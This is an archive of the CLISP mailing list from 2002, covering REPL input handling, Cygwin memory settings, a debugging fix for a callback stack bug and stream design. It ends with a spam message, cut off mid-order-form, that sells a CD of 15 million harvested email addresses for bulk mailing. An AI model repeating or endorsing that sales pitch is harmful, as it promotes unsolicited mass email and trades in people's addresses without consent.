clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 11:12:04 2002 X-Original-Date: Mon, 11 Nov 2002 10:48:09 -0800 > Is readline active in Don's windows CLISP? I think not. At least the usual mechanism for retrieving the previous input seems not to work. Perhaps it's a different keystroke in a dos box, or different in windows. This was a binary download. If important, tell me how to test it. > Does type ahead cause trouble when CLISP enters a debugger loop or does discarding input work fine there? That's the typical use-case for CLEAR-INPUT. I don't know. I'm not sure how you want me to test that. But I notice that input seems to be discarded by the top level read-eval-print loop. Which I suppose is the same thing. That is, if I type (read)3 I don't immediately see 3 returned. Rather it waits for input. Then if I type 4 it returns 4. Is this normal? From dxs@privatei.com Mon Nov 11 12:47:05 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BLSa-0007mX-00 for ; Mon, 11 Nov 2002 12:47:04 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 18BLUI-0003fd-00 for clisp-list@sourceforge.net; Mon, 11 Nov 2002 13:48:50 -0700 Subject: Re: [clisp-list] Compile and Debugging options To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 12:55:07 2002 X-Original-Date: Mon, 11 Nov 2002 13:48:50 -0700 (MST) I was able to compile with safety=3 after I did this on W2K, sp2. make check passed all tests. However, I have another problem. Following is the backtrace: This GDB was configured as "i686-pc-cygwin"... (gdb) run Starting program: /cygdrive/e/clisp-2.30/cygwin/gdi+base/lisp.exe Program received signal SIGSEGV, Segmentation fault. 0x0043fb49 in main (argc=1, argv=0x100216d8) at spvw.d:1684 1684 user_uid = getuid(); (gdb) backtrace #0 0x0043fb49 in main (argc=1, argv=0x100216d8) at spvw.d:1684 #1 0x61007288 in _libuser32_a_iname () #2 0x6100753d in _libuser32_a_iname () #3 0x005a7642 in cygwin_crt0 () #4 0x0040103c in mainCRTStartup () #5 0x77e97d08 in _libuser32_a_iname () (gdb) quit The program is running. Exit anyway? (y or n) y The program is coreing in the first system call, after I link in my module. This does not happen when I compile without SAFETY, but optimizations disabled. I welcome any advice. Thanks, Dan Stanger >Randall R Schulz wrote: > > Dan, Arseny, > > Look into the Cygwin registry setting "heap_chunk_in_mb". It's used to > override the default 256 megabyte-per-process heap limit for Cygwin > processes. I've had to use it to accomplish an optimized compile one module > of an interpreter (XSB Prolog) that had a large switch statement (that was > a few years ago using GCC 2.95--GCC 3.2 is now available under Cygwin). > > This recipe from Charles Werner (posted in a message with the Subject > "fixing heap_chunk_in_mb to 512MB doesn't work" on "Fri, 06 Sep 2002 > 15:03:48 +0200" should be helpful: > > -==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==- > Re: Cygwin memory limit > > Recently I wanted to increase the program/data memory limit for cygwin > beyond the default 256 MB and a quick scan of the cygwin list revealed this > thread. I was able to get this to work by doing the following: > > 1. modify the registry, adding a DWORD value heap_chunk_in_mb and setting > it to 1024 using the regtool that is part of the cygtools package in > cygwin. The value here is in decimal Mbytes: > > regtool -i set /HKCU/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb > 1024 > regtool -v list /HKCU/Software/Cygnus\ Solutions/Cygwin > > 2. rebooting the machine > 3. turning off the inetd service (if you have installed the cygwin inetd > service) > 4. restarting the inetd service > 5. open a cygwin bash shell window. > > I tested the memory allocation using the following little C program, > compiled with: > > gcc -O max_mem.c -o max_mem.exe > > #include "stdlib.h" > #include "stdio.h" > > int main(int argc, char **argv) > { > char *m; > int mb; > size_t n; > if(argc < 2) { > printf("usage: %s \n\n",argv[0]) ; > printf("input parameters: \n"); > printf(" MB number of MB of memory to allocate\n"); > exit(-1); > } > sscanf(argv[1],"%d",&n); > m = malloc((size_t)n*1024*1024); > if(m == NULL){fprintf(stderr,"cannot allocate memory %d MB of > memory\n",n); exit(-1);} > else printf("allocated %d MB of memory\n",n); > free(m); > return(0); > } > > My system is an NT4 SP5 machine running the latest cygwin dll version > 1.3.12. I also tried this on a win2K SP2 system sucessfully. > > Cheers, > Charles > > -- > Dr. Charles L. Werner > Gamma Remote Sensing AG > Thunstrasse 130 > CH-3074 Muri b. Bern, Switzerland > > http://www.gamma-rs.ch > -==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==- > > Note this from the release notes for Cygwin 1.3.14-1: > > - Accept heap_chunk_in_mb intry in HKEY_LOCAL_MACHINE, too, > to allow global setting. (Christopher Faylor) > > Randall Schulz > Mountain View, CA USA > > At 23:16 2002-11-10, Arseny Slobodjuck wrote: > >Hello Sam, > > > >Monday, November 11, 2002, 3:06:07 AM, you wrote: > > > > >> Is there a document, it the clisp distribution that covers the various > > >> safety and debugging options available for clisp compilation? > > > > > configure builds CLISP with SAFETY=0 and gcc -O2 > > > --with-debug means SAFETY=3 and gcc -g. > > > >Did you ever build clisp with cygwin & gcc & --with-debug ? > >It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted' > >(this is cygwin bug or limitation). I investigated cygwin-list and > >this problem seems quite old. > > > >Dan, please tell if you'll successfully build with-debug. > > > >-- > >Best regards, > > Arseny From sds@gnu.org Mon Nov 11 13:22:42 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BM14-0003aL-00 for ; Mon, 11 Nov 2002 13:22:42 -0800 Received: from loiso.podval.org ([151.203.42.207]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021111212233.WBTK1423.pop017.verizon.net@loiso.podval.org>; Mon, 11 Nov 2002 15:22:33 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gABLO2wQ024945; Mon, 11 Nov 2002 16:24:03 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gABLO1a7024941; Mon, 11 Nov 2002 16:24:01 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Re: clear-input not working from dos box? References: <15823.64361.108946.779469@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15823.64361.108946.779469@isis.cs3-inc.com> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.42.207] at Mon, 11 Nov 2002 15:22:33 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 13:30:54 2002 X-Original-Date: 11 Nov 2002 16:24:01 -0500 > * In message <15823.64361.108946.779469@isis.cs3-inc.com> > * On the subject of "[clisp-list] Re: clear-input not working from dos box?" > * Sent on Mon, 11 Nov 2002 10:48:09 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > But I notice that input seems to be discarded by the top level > read-eval-print loop. Which I suppose is the same thing. > That is, if I type > (read)3 > I don't immediately see 3 returned. Rather it waits for input. > Then if I type > 4 > it returns 4. CLISP REPL works like this: first we read a line and check for commands (like "help" ":w" &c), then, if there was no command, we create a concatenated stream out of the line and *STANDARD-INPUT* and read from there. I.e., the first line can contain at most 1 form. See read_form() in debug.d. An obvious alternative is to read from *STANDARD-INPUT* and then look up the form read in the *KEY-BINDINGS* table. The problem is that this way you will not be able to evaluate symbols like "help" because they will be interpreted as commands. Using only keywords for commands is not backward compatible and is unlikely to happen (Bruno has explicitly vetoed it a couple of years ago). All this is only relevant when *STANDARD-INPUT* is interactive. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Lisp: Serious empowerment. From don-sourceforge@isis.cs3-inc.com Mon Nov 11 13:35:11 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BMD9-0006Az-00 for ; Mon, 11 Nov 2002 13:35:11 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id gABLXew18943; Mon, 11 Nov 2002 13:33:40 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15824.8756.82051.728225@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Re: clear-input not working from dos box? In-Reply-To: References: <15823.64361.108946.779469@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 13:43:21 2002 X-Original-Date: Mon, 11 Nov 2002 13:33:40 -0800 > > But I notice that input seems to be discarded by the top level > > read-eval-print loop. Which I suppose is the same thing. > > That is, if I type > > (read)3 > > I don't immediately see 3 returned. Rather it waits for input. > > Then if I type > > 4 > > it returns 4. > > CLISP REPL works like this: first we read a line and check for commands > (like "help" ":w" &c), then, if there was no command, we create a > concatenated stream out of the line and *STANDARD-INPUT* and read from > there. I.e., the first line can contain at most 1 form. I don't see why that means the rest of the first line is discarded. If I type (read)3 then the concatenated stream still contains "(read)3", right? If I do (read)(read) from that stream shouldn't I get the 3 on the second read? > An obvious alternative is to read from *STANDARD-INPUT* and then look up > the form read in the *KEY-BINDINGS* table. > > The problem is that this way you will not be able to evaluate symbols > like "help" because they will be interpreted as commands. Doesn't this have the same problem? If I type help that could either be the name of a variable or a command. I guess for the variable I have to type something like (progn help) or package:help or maybe help ? I've occasionally noticed problems like - I type abort and get another level of error cause ABORT has no value - I type abort and get another level of error cause BORT has no value. I never looked into them, but it sounds related. From sds@gnu.org Mon Nov 11 15:29:10 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BNzS-0000rp-00 for ; Mon, 11 Nov 2002 15:29:10 -0800 Received: from loiso.podval.org ([151.203.42.207]) by pop016.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021111232902.YRJW1630.pop016.verizon.net@loiso.podval.org>; Mon, 11 Nov 2002 17:29:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gABNUWwQ025212; Mon, 11 Nov 2002 18:30:32 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gABNUWR6025208; Mon, 11 Nov 2002 18:30:32 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Re: clear-input not working from dos box? References: <15823.64361.108946.779469@isis.cs3-inc.com> <15824.8756.82051.728225@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15824.8756.82051.728225@isis.cs3-inc.com> Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.42.207] at Mon, 11 Nov 2002 17:29:02 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 15:30:02 2002 X-Original-Date: 11 Nov 2002 18:30:32 -0500 > * In message <15824.8756.82051.728225@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] Re: clear-input not working from dos box?" > * Sent on Mon, 11 Nov 2002 13:33:40 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > > But I notice that input seems to be discarded by the top level > > > read-eval-print loop. Which I suppose is the same thing. > > > That is, if I type > > > (read)3 > > > I don't immediately see 3 returned. Rather it waits for input. > > > Then if I type > > > 4 > > > it returns 4. > > > > CLISP REPL works like this: first we read a line and check for commands > > (like "help" ":w" &c), then, if there was no command, we create a > > concatenated stream out of the line and *STANDARD-INPUT* and read from > > there. I.e., the first line can contain at most 1 form. > I don't see why that means the rest of the first line is discarded. > If I type > (read)3 > then the concatenated stream still contains "(read)3", right? > If I do (read)(read) from that stream shouldn't I get the 3 on the > second read? your READ does not read from the concatenated stream but from *STANDARD-INPUT*. note that read_form() does not set *STANDARD-INPUT*. > > An obvious alternative is to read from *STANDARD-INPUT* and then look up > > the form read in the *KEY-BINDINGS* table. > > > > The problem is that this way you will not be able to evaluate symbols > > like "help" because they will be interpreted as commands. > Doesn't this have the same problem? > If I type help that could either be the name of a variable or a > command. I guess for the variable I have to type something like > (progn help) or > package:help or maybe > help ? indeed. right now, a space before the variable name or a package prefix works, but if we just READ from *STANDARD-INPUT* without the READ-LINE trick, only PROGN will work. > I've occasionally noticed problems like > - I type abort and get another level of error cause ABORT has no value haven't seen this for quite a while. I thought I fixed that... > - I type abort and get another level of error cause BORT has no value. never seen that! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you try to fail, and succeed, which have you done? From dxs@privatei.com Mon Nov 11 16:42:11 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BP86-00046P-00 for ; Mon, 11 Nov 2002 16:42:10 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 18BP9q-0003im-00 for clisp-list@sourceforge.net; Mon, 11 Nov 2002 17:43:58 -0700 To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] gdi module problem solved Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 16:43:02 2002 X-Original-Date: Mon, 11 Nov 2002 17:43:58 -0700 (MST) I determined the cause of the problem. Following is the incorrect code: object p; begin_callback(); p = allocate_fpointer(hWnd); pushSTACK(p); end_callback(); begin_callback(); funcall(O(onCreate),1); end_callback(); A stackcheck is done between the pushSTACK and the funcall, and of course, my fpointer was stored on the stack. Following is the corrected code: object p; begin_callback(); p = allocate_fpointer(hWnd); pushSTACK(p); funcall(O(onCreate),1); end_callback(); However, I still don't understand why linking in my module causes a failure with SAFETY>1 on entry to clisp. Dan Stanger From marcoxa@cs.nyu.edu Tue Nov 12 06:22:04 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=octagon.valis.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BbvX-0001qg-00 for ; Tue, 12 Nov 2002 06:22:03 -0800 Received: (from marcoxa@localhost) by octagon.valis.nyu.edu (8.11.6/8.11.6) id gACEONE18598; Tue, 12 Nov 2002 09:24:23 -0500 Message-Id: <200211121424.gACEONE18598@octagon.valis.nyu.edu> From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Has this been fixed? COMPILE-FILE-PATHNAME fails on 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 12 06:23:01 2002 X-Original-Date: Tue, 12 Nov 2002 09:24:23 -0500 Hi I did not follow clisp-list very closely recently. I just want to know if the following bug has been fixed. ============================================================================== [1]> (compile-file-pathname "foo.lisp") *** - UNIX error 13 (EACCES): Permission denied 1. Break [3]> ============================================================================== It is a bit of a show stopper for me. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Tue Nov 12 06:54:56 2002 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BcRM-0004QV-00 for ; Tue, 12 Nov 2002 06:54:56 -0800 Received: from loiso.podval.org ([151.203.42.207]) by out002.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021112145448.GXDE2867.out002.verizon.net@loiso.podval.org>; Tue, 12 Nov 2002 08:54:48 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gACEuSwQ027114; Tue, 12 Nov 2002 09:56:28 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gACEuSFR027110; Tue, 12 Nov 2002 09:56:28 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Has this been fixed? COMPILE-FILE-PATHNAME fails on 2.30 References: <200211121424.gACEONE18598@octagon.valis.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200211121424.gACEONE18598@octagon.valis.nyu.edu> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.42.207] at Tue, 12 Nov 2002 08:54:48 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 12 06:55:11 2002 X-Original-Date: 12 Nov 2002 09:56:28 -0500 > * In message <200211121424.gACEONE18598@octagon.valis.nyu.edu> > * On the subject of "[clisp-list] Has this been fixed? COMPILE-FILE-PATHNAME fails on 2.30" > * Sent on Tue, 12 Nov 2002 09:24:23 -0500 > * Honorable Marco Antoniotti writes: > > [1]> (compile-file-pathname "foo.lisp") > > *** - UNIX error 13 (EACCES): Permission denied fixed on 2002-10-22 > It is a bit of a show stopper for me. use CVS HEAD. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Flying is not dangerous; crashing is. From marcoxa@cs.nyu.edu Tue Nov 12 07:40:10 2002 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=octagon.valis.nyu.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Bd97-0007vK-00 for ; Tue, 12 Nov 2002 07:40:09 -0800 Received: (from marcoxa@localhost) by octagon.valis.nyu.edu (8.11.6/8.11.6) id gACFgUg18924; Tue, 12 Nov 2002 10:42:30 -0500 Message-Id: <200211121542.gACFgUg18924@octagon.valis.nyu.edu> From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 12 Nov 2002 09:56:28 -0500) Subject: Re: [clisp-list] Has this been fixed? COMPILE-FILE-PATHNAME fails on 2.30 References: <200211121424.gACEONE18598@octagon.valis.nyu.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 12 07:41:01 2002 X-Original-Date: Tue, 12 Nov 2002 10:42:30 -0500 > X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.42.207] at Tue, 12 Nov 2002 08:54:48 -0600 > Sender: clisp-list-admin@lists.sourceforge.net > X-Original-Date: 12 Nov 2002 09:56:28 -0500 > Date: 12 Nov 2002 09:56:28 -0500 > X-UIDL: LmM!!3nK!!]g]"!'n > > * In message <200211121424.gACEONE18598@octagon.valis.nyu.edu> > > * On the subject of "[clisp-list] Has this been fixed? COMPILE-FILE-PATHNAME fails on 2.30" > > * Sent on Tue, 12 Nov 2002 09:24:23 -0500 > > * Honorable Marco Antoniotti writes: > > > > [1]> (compile-file-pathname "foo.lisp") > > > > *** - UNIX error 13 (EACCES): Permission denied > > fixed on 2002-10-22 Thanks. > > > It is a bit of a show stopper for me. > > use CVS HEAD. Ok Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From Joerg-Cyril.Hoehle@t-systems.com Thu Nov 14 08:28:23 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18CMqo-0001vA-00 for ; Thu, 14 Nov 2002 08:28:18 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 14 Nov 2002 17:28:02 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 14 Nov 2002 17:28:02 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] READ-SEQUENCE-NO-HANG / READ-SOME-SEQUENCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 14 08:29:02 2002 X-Original-Date: Thu, 14 Nov 2002 17:27:59 +0100 Hi, here's something from comp.lang.lisp IMHO relevant to a recent = discussion on clisp-list: From: Duane Rettig Subject: Re: Checking for EOF Newsgroups: comp.lang.lisp Date: Mon, 11 Nov 2002 22:00:01 GMT [...] If you use simple-streams, bivalence comes for free, and you don't have to worry about whether you are testing for characters or octets; the same functionality tends to be used for both. Although if there is a chance that your stream which has a multibyte external-format might have half-a-character before the eof, then instead of testing for characters, you might want to test for octet availability; simple-streams offers a read-no-hang-p function to check _any_ avaiability of data on the stream, including just one octet, whereas listen, stream-listen, and read-char-no-hang all try to build a character, and might end up either giving you a false end-of-file indication half-a-character early, or else never giving you an eof (each being consequenses of not being able to complete that last character). The CLISP-related discussion was about [tiny parts of it]: >Sam Steingold wrote: >> In addition to READ-SEQUENCE-ONCE, you >>will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE >>(and make them generic functions too - see gray.lisp) > We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think, > READ-SEQUENCE-NO-HANG is the right name, if we really need it. J=F6rg H=F6hle wrote: >I fear this is going into nightmares -- consider the=20 >multi-byte character / partial read interaction (e.g. that=20 >other current thread about Chinese): what if you read only=20 >half of a 2byte character? My long-time feeling is that CLISP's streams is not the best one can = get. A native simple-streams *may* solve many problems CLISP currently = faces. That means another rewrite of that huge stream.d file. :-( Regards, J=F6rg H=F6hle. From iuhhfdfgr@aida.as Thu Nov 14 23:28:35 2002 Received: from [64.71.235.178] (helo=childrensmuseum.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Cau3-0000ez-00 for ; Thu, 14 Nov 2002 23:28:35 -0800 Received: from alpha1.fsb.hr ([218.21.87.42]) by childrensmuseum.org with Microsoft SMTPSVC(5.0.2195.2966); Thu, 14 Nov 2002 20:39:33 -0500 Message-ID: <00000aaa10b3$000042f3$00001c10@burle.arquit.ufpr.br> To: Cc: , , , , , , , From: "Vicki Reed" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Nov 2002 01:39:36.0343 (UTC) FILETIME=[DAEE9270:01C28C47] Subject: [clisp-list] Your Confirmation7908 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 14 23:29:02 2002 X-Original-Date: Thu, 14 Nov 2002 17:38:30 -2000 Frustrated With Your Internet Marketing Efforts? Have you tried: FREE Classifieds? (Don't work) Web Site? (Good for closing but you have to have visitors) Banners? (Expensive and Iffy) E-Zine? (They're great, but only with thousands of members) Search Engines (Easy to be buried with thousands of others) E -MAIL MARKETING IS THE ANSWER! It is a proven fact that your best chance of attracting new business is through Direct E-mail. The secret to an effective bulk E-mail marketing campaign on the internet is directly related to the freshness of the lists used. To ensure that our customers receive the freshest mailing addresses, we are constantly updating and revising our mailing lists. Our Sixth release provides you with 15 MILLION E-mail Addresses taken from our own database of opporunity seekers and businesses. THE MASTER MARKETERS CD VOL. 6 consists of 15 Million E-mail addresses that were cleaned and verified. You can start mailing these addresses immediately. We have removed all the following domains: THESE DOMAINS ARE ABSOLUTELY NOT INCLUDED: Compuserve.com Genie.com Delphi.com MCI.com And all domains ending with .edu, .mil, .org, and .us. There are no International domains in this CD. All addresses are pure .COM AND .NET. There are ABSOLUTELY NO DUPICATE ADDRESSES! Our CD does not contain any of those bogus and filled addresses used by other companies to ad inflated numbers to their lists. We pay full time employees to perform hundreds of hours of list verification and deduping of our lists. REMEMBER, our business is mailing for individuals and companies. We mail over 20 million direct E-mails per Day for our clients and the addresses contained in the Master Marketers Cd are the same fresh, clean lists we use. We maintain a huge database of anti-commerce radicals who want the net for themselves. We run our lists against this database and remove all E-mail addresses these radicals use to trap you into mailing to them so they can cause you trouble. Over 30,000 BUSINESSES come on the Internet EVERY single day...If you don't send out Broadcast Email... YOUR COMPETITON WILL! SPECIAL BONUS OFFER! For those who order The Address CD Vol. 6 before 11/30/02 we are going to include our Professional Email Marketing Book. This Book Explains Exactly how Bulk Email operates. The author, Paul Willis has 8 years of Bulk Email Advertising experience and operates a very successful Internet Email Advertising Company. If you have any questions or would like to discuss how we can help you to effectively market your business via Direct E-mail advertising please call 818-743-7507. We offer several affordable Marketing packages for those who need their E-mail ads sent through our servers. We accept payment by Check - Visa - Mastercard - Discover. TO ORDER our CD, simply print out the EZ ORDER FORM below and fax your Check or Credit Card Information to our office today. Fax to: 661-244-4903. Or Call 818-743-7507 to order by phone. E-Z ORDER FORM ______ Yes! I would like to order MASTER 